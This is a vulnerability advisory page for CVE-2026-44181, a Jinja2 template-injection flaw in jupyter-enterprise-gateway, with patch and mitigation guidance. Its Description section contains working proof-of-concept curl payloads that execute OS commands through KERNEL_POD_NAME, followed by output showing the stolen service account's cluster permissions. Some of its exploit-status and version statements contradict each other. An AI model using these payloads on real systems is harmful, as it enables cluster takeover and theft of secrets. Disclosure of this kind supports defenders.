How severe is CVE-2026-44181?

No CVSS score has been assigned to CVE-2026-44181 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-44181?

CVE-2026-44181 affects the following packages: jupyter-enterprise-gateway (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2026-44181?

Update jupyter-enterprise-gateway to 3.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44181 is resolved across your whole dependency graph.

How do I detect CVE-2026-44181 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jupyter-enterprise-gateway, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-44181 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Is CVE-2026-44181 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-44181 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-44181?

CVE-2026-44181 has an EPSS (Exploit Prediction Scoring System) score of 0.8%, placing it in the 54th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-44181?

CVE-2026-44181 is classified as CWE-1336 (CWE-1336). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-44181 published, and has it been updated?

CVE-2026-44181 was published on July 16, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

Not in CISA KEV

CVE-2026-44181 — jupyter-enterprise-gateway

CVE-2026-44181 is a CWE-1336 vulnerability in jupyter-enterprise-gateway. A fix is available for jupyter-enterprise-gateway — see the affected versions and patch details below.

Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection results in Remote Code Execution

Also known asGHSA-f49j-v924-fx9wPYSEC-2026-364

Published

Jul 16, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Oct 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44181.

EPSS Exploitation Probability

via FIRST.org ↗

0.8%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs54th percentile — riskier than 54% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐍jupyter-enterprise-gateway

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.

Details

The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247

The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137

PoC

Simple demonstration of SSTI using `{{7 * 7}}`

curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'

{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}

Running kubectl get pods

NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-49                                             1/1     Running   0          3m54s

Remote code execution - OS Commands via SSTI

curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'

{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07

NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-enterprise-gateway-8695685bc8-klm4m            1/1     Running   0          2m25s

enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.

Enterprise Gateway RBAC

The Enterprise Gateway service account has R/W access to several resource kinds.

Stolen Enterprise Gateway service account kubectl auth can-i --list

Resources                                                Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io                 []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io            []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io             []                                     []               [create]
rolebindings.rbac.authorization.k8s.io                   []                                     []               [get list create delete]
configmaps                                               []                                     []               [get watch list create delete]
namespaces                                               []                                     []               [get watch list create delete]
persistentvolumeclaims                                   []                                     []               [get watch list create delete]
persistentvolumes                                        []                                     []               [get watch list create delete]
pods                                                     []                                     []               [get watch list create delete]
secrets                                                  []                                     []               [get watch list create delete]
services                                                 []                                     []               [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status   []                                     []               [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io          []                                     []               [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status            []                                     []               [get watch list create delete]
sparkapplications.sparkoperator.k8s.io                   []                                     []               [get watch list create delete]
                                                         [/.well-known/openid-configuration/]   []               [get]
                                                         [/.well-known/openid-configuration]    []               [get]
                                                         [/api/*]                               []               [get]
                                                         [/api]                                 []               [get]
                                                         [/apis/*]                              []               [get]
                                                         [/apis]                                []               [get]
                                                         [/healthz]                             []               [get]
                                                         [/healthz]                             []               [get]
                                                         [/livez]                               []               [get]
                                                         [/livez]                               []               [get]
                                                         [/openapi/*]                           []               [get]
                                                         [/openapi]                             []               [get]
                                                         [/openid/v1/jwks/]                     []               [get]
                                                         [/openid/v1/jwks]                      []               [get]
                                                         [/readyz]                              []               [get]
                                                         [/readyz]                              []               [get]
                                                         [/version/]                            []               [get]
                                                         [/version/]                            []               [get]
                                                         [/version]                             []               [get]
                                                         [/version]                             []               [get]

Impact

This is a server side template injection that leads to remote code execution (python and OS commands).

An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`jupyter-enterprise-gateway`	≥ 2.0.0rc2&&< 3.3.0	3.3.0`pip install --upgrade 'jupyter-enterprise-gateway==3.3.0'`

Affected Products

1 product · 3 configurations

Application

enterprise gatewayjupyter

≥ 2.1.0 && < 3.3.0

1 version

2.0.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jupyter-enterprise-gateway, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update jupyter-enterprise-gateway to 3.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44181 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary The environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount. ### Details The `KERNEL_POD_NAME` variable is rendered using Jinja2, allowin

O3 Security · Impact-Aware SCA

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